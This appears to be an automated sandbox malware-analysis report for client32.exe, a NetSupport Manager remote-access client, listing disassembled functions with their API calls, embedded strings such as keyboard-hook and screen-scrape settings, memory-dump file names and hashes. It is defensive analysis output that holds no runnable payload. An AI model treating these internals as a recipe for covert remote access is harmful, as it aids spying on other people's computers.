Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Process$CloseWindow$HandleOpenPost$CriticalSectionThreadVersionwsprintf$CreateCurrentCursorDestroyEventFindIconInitializeLoadPeekToken_memset$ClassDispatchEnterErrorExitLastMetricsObjectPrioritySendSingleSleepSystemWait__wcstoi64_malloc_strncpy
String ID: *BeepSound$*BeepUsingSpeaker$*PriorityClass$*ScreenScrape$*StartupDelay$494126$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$CabinetWClass$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$Found new explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$Found old explorer hwnd=x%x h=%d,w=%d,style=x%x (%s)$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$License Control Internal Error$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$V11.41.3$V12.01.3$View$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$\Explorer.exe$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 4073474852-168708017
Opcode ID: 7d63a2f86f363bdc8f7d980eb446afbe20efb3e3794d17a61fc403d34e28377a
Instruction ID: 75a99128c0b90555870f3e8937819581192e292699187335c5c1593c45ddfd72
Opcode Fuzzy Hash: 7d63a2f86f363bdc8f7d980eb446afbe20efb3e3794d17a61fc403d34e28377a
Instruction Fuzzy Hash: EEE2D174E41261AFEB11DB64DCC8F9EF7A5AB4930CF5081A9ED18A7384EB706D40CB61

Function 1102C2A0 Relevance: 79.4, APIs: 15, Strings: 30, Instructions: 614
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Warning: Unexpanded clientname=<%s>, xrefs: 1102C963
WTSFreeMemory, xrefs: 1102C7CC
Error x%x reading %s, sesh=%d, xrefs: 1102C551
TCPIP, xrefs: 1102C6A5
TSMode, xrefs: 1102C680
Client, xrefs: 1102C685, 1102C6BD, 1102C79F
18/03/14 09:15:42 V12.01F3, xrefs: 1102CB2E
%sessionname%, xrefs: 1102C9F9, 1102CA12
, xrefs: 1102C820
ClientName, xrefs: 1102C850
WTSQuerySessionInformationA, xrefs: 1102C738
client32 dbi %hs, xrefs: 1102CB33
$session$, xrefs: 1102CA26
Wtsapi32.dll, xrefs: 1102C6CC
client32.ini, xrefs: 1102C4F5
NSMWClass, xrefs: 1102C484
NSM.LIC, xrefs: 1102C2C2
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102CB80
494126, xrefs: 1102C8B0, 1102CA7B, 1102CA9F, 1102CAAC, 1102CADC, 1102CB51
client32, xrefs: 1102C5C5
e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h, xrefs: 1102C9E4, 1102CA63
ListenPort, xrefs: 1102C6A0
screenscrape, xrefs: 1102C6B8
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102CB5A
DisableConsoleClient, xrefs: 1102C607
%session%, xrefs: 1102CA3A
%02d, xrefs: 1102C9A8
IsA(), xrefs: 1102C9E9, 1102CA68
MacAddress, xrefs: 1102C79A
%s.%02d, xrefs: 1102C9C0

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$18/03/14 09:15:42 V12.01F3$494126$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1201\1201f2\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape
API String ID: 3802068140-2798778214
Opcode ID: 40ab1cae0201a3aeec5452140a15d371d84d6b28c0bec86021d57b66dd7050fb
Instruction ID: 1eedb420cbd5dfcbbda3fd0d1686de8f37d34dfb32158dca5f9b22f0844981e9
Opcode Fuzzy Hash: 40ab1cae0201a3aeec5452140a15d371d84d6b28c0bec86021d57b66dd7050fb
Instruction Fuzzy Hash: 1232D575D002659FDB11DF94CD84BEEB7B9AB44308F8485E9E918A7280EB706B84CF61

Function 6C812380 Relevance: 72.2, APIs: 11, Strings: 30, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6C8123A7

Strings

CMPI=%u, xrefs: 6C81266A
ListenPort, xrefs: 6C81245A
*ER, xrefs: 6C81289D
APPTYPE=%d, xrefs: 6C81285D
*Dept, xrefs: 6C812874
HOSTNAME=%s, xrefs: 6C81261A
Port, xrefs: 6C81244A
ER=%s, xrefs: 6C8128B2
GSK=%s, xrefs: 6C81264C
e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c, xrefs: 6C8123F5
A1=%s, xrefs: 6C81272F
*Gsk, xrefs: 6C8124A4
A4=%s, xrefs: 6C81283D
CLIENT_NAME=%s, xrefs: 6C812597
TCPIP, xrefs: 6C81244F, 6C81245F
client247, xrefs: 6C81268F, 6C8126EB, 6C812751, 6C8127AB, 6C812805
DEPT=%s, xrefs: 6C81288C
A3=%s, xrefs: 6C8127E3
CLIENT_VERSION=1.0, xrefs: 6C812550
CHATID, xrefs: 6C81268A
PROTOCOL_VER=%u.%u, xrefs: 6C81256B
1.1, xrefs: 6C81247C
494126, xrefs: 6C81258C
CMD=OPEN, xrefs: 6C812539
CHATID=%s, xrefs: 6C8126C6
MAXPACKET=%d, xrefs: 6C812581
connection_index == 0, xrefs: 6C8123FA
A2=%s, xrefs: 6C812789
PORT=%d, xrefs: 6C8125E8
CLIENT_ADDR=%s, xrefs: 6C8125CA

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: _memset
String ID: *Dept$*ER$*Gsk$1.1$494126$A1=%s$A2=%s$A3=%s$A4=%s$APPTYPE=%d$CHATID$CHATID=%s$CLIENT_ADDR=%s$CLIENT_NAME=%s$CLIENT_VERSION=1.0$CMD=OPEN$CMPI=%u$DEPT=%s$ER=%s$GSK=%s$HOSTNAME=%s$ListenPort$MAXPACKET=%d$PORT=%d$PROTOCOL_VER=%u.%u$Port$TCPIP$client247$connection_index == 0$e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c
API String ID: 2102423945-3098530097
Opcode ID: 031b0b13ae9a54065355bca3b95f9dc4946f54c13ece6cab5b4a8a0e4ba8a3be
Instruction ID: eecdcd59b7ba812e24aecc33d7c0d4c098be75a7c2b8205350224315e7edacb6
Opcode Fuzzy Hash: 031b0b13ae9a54065355bca3b95f9dc4946f54c13ece6cab5b4a8a0e4ba8a3be
Instruction Fuzzy Hash: E0E199729002286BCB30DB649D80EEF7778AF59319F004DE9E509A7A41EB745B8CDF90

Function 111329C0 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,771B23A0), ref: 111329F3
LoadLibraryA.KERNEL32(?), ref: 11132A3C
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 11132A55
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 11132A64
GetModuleHandleA.KERNEL32(?), ref: 11132A6A
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 11132A7E
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 11132A9D
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 11132AA8
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 11132AB3
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 11132ABE
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 11132AC9
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 11132AD4
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 11132ADF
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 11132AEA
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 11132AF5
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 11132B00
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 11132B0B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 11132B16
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 11132B21
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 11132B2C

Part of subcall function 1107C480: _strrchr.LIBCMT ref: 1107C48E

Strings

SymGetOptions, xrefs: 11132AEC
SymLoadModule, xrefs: 11132AD6
SymGetLineNext, xrefs: 11132A9F
IMAGEHLP.DLL, xrefs: 11132A5E, 11132A63, 11132A69
dbghelp.dll, xrefs: 11132A18
SymGetLineFromName, xrefs: 11132A97
DBGHELP.DLL, xrefs: 11132A4F, 11132A54
SymSetOptions, xrefs: 11132AF7
SymGetModuleInfo, xrefs: 11132B02
SymInitialize, xrefs: 11132AE1
SymGetSymFromAddr, xrefs: 11132B0D
MiniDumpWriteDump, xrefs: 11132B23
SymFunctionTableAccess, xrefs: 11132B18
SymCleanup, xrefs: 11132ACB
SymGetLinePrev, xrefs: 11132AAA
SymGetLineFromAddr, xrefs: 11132A78
SymMatchFileName, xrefs: 11132AB5
StackWalk, xrefs: 11132AC3

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: 11dbdab2167a41d006a5ed8c47bb96ee5bc3ae62b79fc54799e77c40f532fad6
Instruction ID: a998bf938f72bd3d62f1ab24a8fee8fc38cc82ed36c591295b0484b214843149
Opcode Fuzzy Hash: 11dbdab2167a41d006a5ed8c47bb96ee5bc3ae62b79fc54799e77c40f532fad6
Instruction Fuzzy Hash: D8419275A00B54AFD7209F769C84AABFBF8FF95614B00492EE546D3A10E771EE00CB54

Function 111308E0 Relevance: 59.8, APIs: 15, Strings: 19, Instructions: 285
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(User32.dll,Client,DisableDPIAware,00000000,00000000,00000000,00000000), ref: 11130951
GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 1113098C
SetLastError.KERNEL32(00000078), ref: 1113099F
FreeLibrary.KERNEL32(00000000), ref: 111309B1
LoadLibraryA.KERNEL32(imm32,?,?,00000000,00000000), ref: 111309D4
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 11130A39
_memset.LIBCMT ref: 11130A4D
LoadCursorA.USER32(00000000,00007F00), ref: 11130A9D
GetStockObject.GDI32(00000000), ref: 11130AA7
LoadLibraryA.KERNEL32(pcihooks,?,?,00000000,00000000), ref: 11130B51
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 11130B66
RegisterClassExA.USER32(?), ref: 11130ABE

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

SetTimer.USER32(00000000,00000000,000003E8,1112CAF0), ref: 11130C7C
#17.COMCTL32(?,?,?,00000000,00000000), ref: 11130CAA
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000000,00000000), ref: 11130CB5

Strings

pcihooks, xrefs: 11130B4C
View, xrefs: 11130BA0
NSMWClass, xrefs: 11130A2B, 11130AB7
DisableDPIAware, xrefs: 11130932
InitUI (%d), xrefs: 1113090F
*quiet, xrefs: 111309FB
Client, xrefs: 11130937
UI.CPP, xrefs: 11130A75, 11130AD0
_debug, xrefs: 11130BC0
TraceCopyData, xrefs: 11130BBB
NSMGetAppIcon(), xrefs: 11130A7A
HookKeyboard, xrefs: 11130B60
_License, xrefs: 11130A00
imm32, xrefs: 111309CA
Inited VolumeControl., xrefs: 11130CE9
Initing VolumeControl..., xrefs: 11130CC4
riched32.dll, xrefs: 11130CB0
User32.dll, xrefs: 1113094C
SetProcessDPIAware, xrefs: 11130983

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressClassProc$CursorErrorFreeInfoLastObjectRegisterStockTimer__wcstoi64_memset
String ID: *quiet$Client$DisableDPIAware$HookKeyboard$InitUI (%d)$Inited VolumeControl.$Initing VolumeControl...$NSMGetAppIcon()$NSMWClass$SetProcessDPIAware$TraceCopyData$UI.CPP$User32.dll$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 2794364348-1986316466
Opcode ID: 515253d7f1545cb5aae5051ee3a7f6a71433c7a55e90cf05d6b349b9ad956a9d
Instruction ID: aa8012bde1adae0a2c02f567617443f2e4728d78ef366c72babd61b7604c4b4a
Opcode Fuzzy Hash: 515253d7f1545cb5aae5051ee3a7f6a71433c7a55e90cf05d6b349b9ad956a9d
Instruction Fuzzy Hash: FAB1AFB8D12266EFDB00DFA5CDC8A9EFBB4BB8431DB10453DE91997248EB305900CB51

Function 110A1F30 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,82E0FB89,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11172BD8), ref: 110A1F63
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A1F87
SetupDiGetClassDevsA.SETUPAPI(11194154,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11172BD8,000000FF), ref: 110A1FA1
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A1FCC
_free.LIBCMT ref: 110A2000
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A2012
GetLastError.KERNEL32 ref: 110A203D
_malloc.LIBCMT ref: 110A2053
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A2075
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11172BD8,000000FF,?,1102D836,Client), ref: 110A20A7
SetLastError.KERNEL32(00000078), ref: 110A20BB
GetLastError.KERNEL32 ref: 110A20C1
_free.LIBCMT ref: 110A20D3
SetLastError.KERNEL32(00000078), ref: 110A20E4
SetLastError.KERNEL32(00000078), ref: 110A20F1
_free.LIBCMT ref: 110A2104
FreeLibrary.KERNEL32(?,?), ref: 110A2114
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11172BD8,000000FF,?,1102D836,Client), ref: 110A21B8

Strings

SetupDiGetClassDevsA, xrefs: 110A1F7B
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A200C, 110A206F
SetupDiDestroyDeviceInfoList, xrefs: 110A2160
SetupDiEnumDeviceInterfaces, xrefs: 110A1FC6
setupapi.dll, xrefs: 110A1F5B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: 4cc9fdceffce41f4bb1e2a7a350048addaa331d0d16544aed3769fc1ff043338
Instruction ID: dee8c5d27a7d1561559e6d59ec9b4eaefc10bb237f0b189c7ffb99ba61846665
Opcode Fuzzy Hash: 4cc9fdceffce41f4bb1e2a7a350048addaa331d0d16544aed3769fc1ff043338
Instruction Fuzzy Hash: 578196B5E40229AFD701DFE5ED84FDEBBB9AF55744F044134F912A6280DB74A501CB60

Function 111251E0 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 11059580: __wcstoi64.LIBCMT ref: 110595BD

LoadLibraryA.KERNEL32(psapi.dll,_debug,CheckLeaks,00000001,00000000,82E0FB89), ref: 11125275

Part of subcall function 110098C0: LoadLibraryA.KERNEL32(Kernel32.dll,771B0BD0,111252A0), ref: 110098C8

LoadLibraryA.KERNEL32(User32.dll), ref: 111252A5
GetCurrentProcess.KERNEL32 ref: 111252FE
GetProcAddress.KERNEL32(?,GetProcessHandleCount), ref: 11125326
GetProcessHandleCount.KERNEL32(?,?), ref: 1112533A
SetLastError.KERNEL32(00000078), ref: 11125340
GetProcAddress.KERNEL32(00000000,GetGuiResources), ref: 1112534C
SetLastError.KERNEL32(00000078), ref: 11125373
GetProcAddress.KERNEL32(?,GetGuiResources), ref: 11125388
SetLastError.KERNEL32(00000078), ref: 111253A5
GetProcAddress.KERNEL32(?,GetProcessMemoryInfo), ref: 111253B7
K32GetProcessMemoryInfo.KERNEL32(?,?,00000028), ref: 111253CA
SetLastError.KERNEL32(00000078), ref: 111253D0
FreeLibrary.KERNEL32(?), ref: 1112553A
FreeLibrary.KERNEL32(?), ref: 11125547
FreeLibrary.KERNEL32(?), ref: 11125551

Strings

GetProcessMemoryInfo, xrefs: 111253B1
RestartUserObj, xrefs: 11125504
Client, xrefs: 11125490, 111254BB, 111254E2, 11125509
_debug, xrefs: 11125232
RestartGdiObj, xrefs: 111254DD
psapi.dll, xrefs: 11125252
GetProcessHandleCount, xrefs: 11125320
CheckLeaks, xrefs: 1112522D
Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB, xrefs: 11125442
GetGuiResources, xrefs: 11125346, 1112537F
RestartMB, xrefs: 1112548B
User32.dll, xrefs: 111252A0
RestartHandles, xrefs: 111254B6

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressErrorLastProc$FreeLoadProcess$CountCurrentHandleInfoMemory__wcstoi64
String ID: CheckLeaks$Client$GetGuiResources$GetProcessHandleCount$GetProcessMemoryInfo$RestartGdiObj$RestartHandles$RestartMB$RestartUserObj$Used handles=%d, gdiObj=%d, userObj=%d, mem=%u kB$User32.dll$_debug$psapi.dll
API String ID: 4101391659-2960314602
Opcode ID: 24f660dc49cf8063fb080170bf677cd14817b3fe85e91263a94df8b88c7d28d1
Instruction ID: 9932062f5be36f07512d72675ff71bbfb044ef1448ff26fd2a4877b11468836e
Opcode Fuzzy Hash: 24f660dc49cf8063fb080170bf677cd14817b3fe85e91263a94df8b88c7d28d1
Instruction Fuzzy Hash: AAB125B0E05269AFDF50DFA9C8C4BDDFBB5BB48308F60446AE51AE7240EA705940CF51

Function 1102C369 Relevance: 45.8, APIs: 7, Strings: 19, Instructions: 303
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Wtsapi32.dll,Client,screenscrape,00000001,00000003,TCPIP,ListenPort,00000000,00000003,00000003,?,?,?,?,?,?), ref: 1102C6D1

Strings

Error x%x reading %s, sesh=%d, xrefs: 1102C551
client32.ini, xrefs: 1102C4F5
WTSFreeMemory, xrefs: 1102C7CC
TCPIP, xrefs: 1102C6A5
TSMode, xrefs: 1102C680
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102CB80
494126, xrefs: 1102C8B0, 1102CADC, 1102CB51
Client, xrefs: 1102C685, 1102C6BD, 1102C79F
ListenPort, xrefs: 1102C6A0
18/03/14 09:15:42 V12.01F3, xrefs: 1102CB2E
screenscrape, xrefs: 1102C6B8
, xrefs: 1102C820
ClientName, xrefs: 1102C850
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102CB5A
WTSQuerySessionInformationA, xrefs: 1102C738
DisableConsoleClient, xrefs: 1102C607
client32 dbi %hs, xrefs: 1102CB33
Wtsapi32.dll, xrefs: 1102C6CC
MacAddress, xrefs: 1102C79A

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
